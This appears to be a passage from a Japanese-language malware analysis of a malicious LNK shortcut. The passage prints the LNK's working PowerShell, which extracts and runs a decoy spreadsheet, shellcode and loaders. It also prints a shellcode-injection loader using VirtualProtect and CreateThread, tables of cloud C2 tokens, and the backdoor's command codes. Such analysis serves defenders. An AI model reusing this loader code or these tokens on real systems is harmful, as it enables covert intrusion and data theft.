tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$dirPath = Get-Location;
if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {
    $dirPath = '%temp%'
}
$lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0280216D} | Select-Object -ExpandProperty FullName;

$lnkFile = New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$lnkFile.Seek(0x000010A4, [System.IO.SeekOrigin]::Begin);
$pdfFile = New-Object byte[] 0x00002E32;
$lnkFile.Read($pdfFile, 0, 0x00002E32);

$pdfPath = $lnkPath.replace('.lnk','.xlsx');
sc $pdfPath $pdfFile -Encoding Byte;
& $pdfPath;

$lnkFile.Seek(0x00003ED6, [System.IO.SeekOrigin]::Begin);
$exeFile = New-Object byte[] 0x000D9402;
$lnkFile.Read($exeFile, 0, 0x000D9402);
$exePath = $env:public + '\' + 'viewer.dat';
sc $exePath $exeFile -Encoding Byte;

$lnkFile.Seek(0x000DD2D8, [System.IO.SeekOrigin]::Begin);
$stringByte = New-Object byte[] 0x000005AA;
$lnkFile.Read($stringByte, 0, 0x000005AA);
$batStrPath = $env:public + '\' + 'search.dat';
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$string | Out-File -FilePath $batStrPath -Encoding ascii;

$lnkFile.Seek(0x000DD882, [System.IO.SeekOrigin]::Begin);
$batByte = New-Object byte[] 0x00000139;
$lnkFile.Read($batByte, 0, 0x00000139);
$executePath = $env:public + '\' + 'find.bat';
Write-Host $executePath;
Write-Host $batStrPath;
$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);
$bastString | Out-File -FilePath $executePath -Encoding ascii;
& $executePath;

$lnkFile.Close();
remove-item -path $lnkPath -force;
" && exit9C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE$lnkFile = New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$lnkFile.Seek(0x000010A4, [System.IO.SeekOrigin]::Begin);
$pdfFile = New-Object byte[] 0x00002E32;
$lnkFile.Read($pdfFile, 0, 0x00002E32);

| ファイル名およびパス                                  | タイプ                       | オフセット    | サイズ      |
| --------------------------------------------------- | -------------------------- | --------- | --------- |
| [リンクファイルパス]\Gate access roster 2024.xlsx | 正常ファイル   | 0x010a4 | 0x02e32 |
| %public%\viewer.dat                               | Shellcode                  | 0x03ed6 | 0xd9402 |
| %public%\search.dat                               | PowerShell Script (Loader) | 0xdd2d8 | 0x005aa |
| %public%\find.bat                                | Batch File (Loader)        | 0xdd882 | 0x00139

start /min C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe -windowstyle hidden "
$stringPath=$env:public+'\\'+'search.dat';
$stringByte = Get-Content -path $stringPath -encoding byte;
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$scriptBlock = [scriptblock]::Create($string);
&$scriptBlock;
"

$exePath = $env:public + '\' + 'viewer.dat';
$exeFile = Get-Content -path $exePath -encoding byte;

[Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([Net.SecurityProtocolType], 3072);

$k1123 = [System.Text.Encoding]::UTF8.GetString(34) + 'kernel32.dll' + [System.Text.Encoding]::UTF8.GetString(34);

$a90234s = '[DllImport(' + $k1123 + ')]public static extern IntPtr GlobalAlloc(uint b,uint c);';
$b = Add-Type -MemberDefinition $a90234s -Name 'AAA' -PassThru;

$d3s9sdf = '[DllImport(' + $k1123 + ')]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);';
$a90234sb = Add-Type -MemberDefinition $d3s9sdf -Name 'AAB' -PassThru;

$b3s9s03sfse = '[DllImport(' + $k1123 + ')]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);';
$cake3sd23 = Add-Type -MemberDefinition $b3s9s03sfse -Name 'BBB' -PassThru;

$dtts9s03sd23 = '[DllImport(' + $k1123 + ')]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);';
$fried3sd23 = Add-Type -MemberDefinition $dtts9s03sd23 -Name 'DDD' -PassThru;

$byteCount = $exeFile.Length;
$buffer = $b::GlobalAlloc(0x0040, $byteCount + 0x100);
$old = 0;

$a90234sb::VirtualProtect($buffer, $byteCount + 0x100, 0x40, [ref]$old);

for ($i = 0; $i -lt $byteCount; $i++) {
    [System.Runtime.InteropServices.Marshal]::WriteByte($buffer, $i, $exeFile[$i]);
}

$handle = $cake3sd23::CreateThread(0, 0, $buffer, 0, 0, 0);
$fried3sd23::WaitForSingleObject($handle, 500 * 1000);

| 変数名                | 目的                                                 | 生成方式                             |
| --------------------------- | ------------------------------------------------------- | --------------------------------------------- |
| additional_data           | アップロードファイルに追加されるデータ                      | srand(time()) + rand()                    |
| Cloud_FileData_FileName   | クラウドサービスからダウンロードまたは削除するファイル名  | srand(time()) + rand() + GetTickCount() |
| Cloud_Recv_Data_FileName  | クラウドサービスに存在する、コマンドコードを含むデータファイル名    | srand(time()) + rand() + GetTickCount() |
| Recv_FileData_Decrypt_Key | 追加のマルウェアデータ復号キー      | CryptoPP::AutoSeededRandomPool              |
| Recv_Data_Decrypt_Key     | クラウドサービスから受信したデータの復号キー | CryptoPP::

| クラウドサービス | 識別子 | トークン                                                           |
| ------------- | ---------- | --------------------------------------------------------------- |
| Local System  | 1          | N/A                                                             |
| DropBox       | 3          | N/A                                                             |
| pCloud        | 4          | Poz17Z5rmhrc0S5SSZJIfPykZBBY1K3GcDmXzwM2kSaK1wfoS40zX         |
| Yandex        | 5          | y0_AgAAAABY8OQvAAtZEQAAAAD8QmGOAAD5hI5Y1ctIoLSK7mJq9l4_CF5LRg

| コマンドコード  | 行為                                                                                                                                                                                                                         |
| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| i           | 収集データのアップロード終了                                                                                                                                                                                                         |
| j, b      | プロセス終了                                                                                                                                                                                                            |
| d           | 攻撃関連ファイルを削除した後にプロセス終了: <br> - スタートアップフォルダに存在するvbs、lnk拡張子ファイルを削除 <br> - AppDataフォルダに存在するCMD、BAT、01拡張子ファイルを削除                                      |
| f           | 攻撃関連ファイルを削除した後にプロセス終了: <br> - AppDataフォルダに存在するCMD、BAT、01拡張子ファイルを削除                                                                                                      |
| g           | 行為なし                                                                                                                                                                                                                     |
| h           | ドライブ情報の収集および送信                                                                                                                                                                                      |
| 0           | 収集データのアップロードフラグを有効化                                                                                                                                                                                          |
| 1, 2      | URLから取得したファイルデータをスレッドで実行 <br> - URLはクラウドサービスから受信したデータ内に存在 <br> 情報収集コマンドを実行 <br> - %Temp%\r.txtに結果を保存した後、クラウドサービスにファイルをアップロード                                               |
| 3, 4      | クラウドサービスAPIの初期化 <br> - 新しいAPIトークン値がクラウドサービスから受信したデータ内に存在 <br> - クラウドサービスから取得したファイルデータをスレッドで実行 <br> 情報収集コマンドを実行 <br> - %Temp%\r.txtに結果を保存した後、クラウドサービスにファイルをアップロード |
| 5, 6      | URLから取得したファイルデータを%Temp%\KB400928_doc.exeとして保存した後にファイルを実行                                                                                                                                                                         |
| 7, 8, 9 | クラウドサービスAPIの初期化 <br> - 新しいAPIトークン値がクラウドサービスから受信したデータ内に存在 <br>